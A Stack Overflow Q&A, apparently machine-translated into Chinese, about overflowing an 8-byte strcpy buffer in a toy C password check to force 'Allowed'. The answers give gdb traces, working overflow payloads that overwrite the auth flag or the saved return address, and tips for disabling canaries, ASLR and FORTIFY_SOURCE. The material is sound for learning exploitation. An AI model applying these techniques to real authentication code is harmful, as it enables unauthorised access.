我试图使用缓冲区溢出来更改函数的结果,以使用以下代码更改堆栈上的结果:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
我正在使用gdb来分析堆栈,这就是我所拥有的:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf@plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit@plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
我确定了$ ebp与&amp; password_buffer的距离:0xbffff6f8 - 0xbffff6e4 = 14字节
所以使用14'A'输入,即./stackoverflowtest $(perl -e 'print "A" x 14')
,它应该带我“允许”。
我哪里错了?导致溢出所需的输入是什么?
关闭ASLR和gcc金丝雀。
check_auth1程序集转储:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy@plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
答案 0 :(得分:3)
if (! authenticated) {
你会看到它正在工作(或者在gdb中运行它,或者打印出标志值,你会看到标志被覆盖得很好,它只是不是1)。
记住int是由多个字符组成的。因此设置一个正好为1的值很难,因为其中许多字符需要为零(这是字符串终止符)。相反,你得到一个像13363(密码12345678901234)的值。
[嗯;即使有溢出,valgrind也不会抱怨。]
<强>更新强>
好的,这是如何使用您拥有的代码完成的。我们需要一个包含13个字符的字符串,其中最后一个字符是ASCII 1.在bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
我正在使用
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
另外,我依靠编译器将一些未使用的字节设置为零(小端;第13个字节是1 14-16th是0)。它适用于gcc bo.c
,但不适用于gcc -O3 bo.c
。
这里的另一个答案是通过走到下一个可以被有效覆盖的地方来解决这个问题(我假设你的目标是auth_flag变量,因为你直接把它放在密码之后)。
答案 1 :(得分:3)
这很容易被利用,这是通过的方式。
首先用-g
编译它,这样可以更容易理解你在做什么。然后,我们的目标是重写已保存的eip
check_auth1()
并将其移至main()
函数中测试的else部分。
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
我们停在check_auth1()
并显示了堆栈框架。我们看到保存的eip
存储在0xffffd2ec
的堆栈中,并包含0x804853f
。
让我们看看它的作用:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf@plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit@plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts@plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts@plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
但事实是,我们希望避免通过cmpl $0x1,0x1c(%esp)
并直接进入测试的其他部分。这意味着我们想要跳转到0x08048558
。
无论如何,让我们首先尝试看看我们的28'A
是否足以重写已保存的eip
。
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
这里,strcpy
执行了溢出,所以让我们看一下堆栈框架:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
确实,我们用'A
'重写了保存的eip(0x41
是A
的十六进制代码)。事实上,28正是我们所需要的,而不是更多。如果我们用目标地址替换最后四个字节,那就没关系。
有一件事是你需要重新排序字节以考虑小端。因此,0x08048558
将成为\x58\x85\x04\x08
。
最后,您还需要为保存的ebp
值(而不是AAAA
)写一些有意义的地址,所以我的诀窍就是将最后一个地址加倍:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
请注意,不需要禁用ASLR,因为您正在跳入.text
部分(此部分不会在ASLR下移动)。但是,你肯定需要禁用金丝雀。
编辑:我错误地将已保存的ebp
替换为已保存的eip
。事实上,如果您没有给出ebp
权利,那么在尝试退出main
时,您会遇到一个段错误。这是因为我们确实将保存的ebp
设置为.text
部分中的某个位置,即使从check_auth1
返回时没有问题,堆栈帧也会在返回时不正确地恢复在main
函数中(系统会认为堆栈位于代码中)。结果将是我们编写的保存的ebp
所指向的地址上方的4个字节(并指向指令)将与保存的eip
main
混淆。因此,您要么禁用ASLR并写入保存的ebp
(0xffffd330
)的正确地址,这将导致
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
或者,您需要执行一个执行干净exit(0)
的ROP(通常很容易实现)。
答案 2 :(得分:2)
strcpy(password_buffer, password);
测试期间需要解决的一个问题是此函数调用。如果程序seg出错,则可能是因为FORTIFY_SOURCE。我想说&#34;意外崩溃&#34;,但我不认为这适用于此;)
FORTIFY_SOURCE使用&#34;更安全&#34;高风险函数的变体,如memcpy
和strcpy
。当编译器可以推导出目标缓冲区大小时,编译器会使用更安全的变体。如果副本超过目标缓冲区大小,则程序将调用abort()
。
要禁用FORTIFY_SOURCE进行测试,您应该使用-U_FORTIFY_SOURCE
或-D_FORTIFY_SOURCE=0
编译该程序。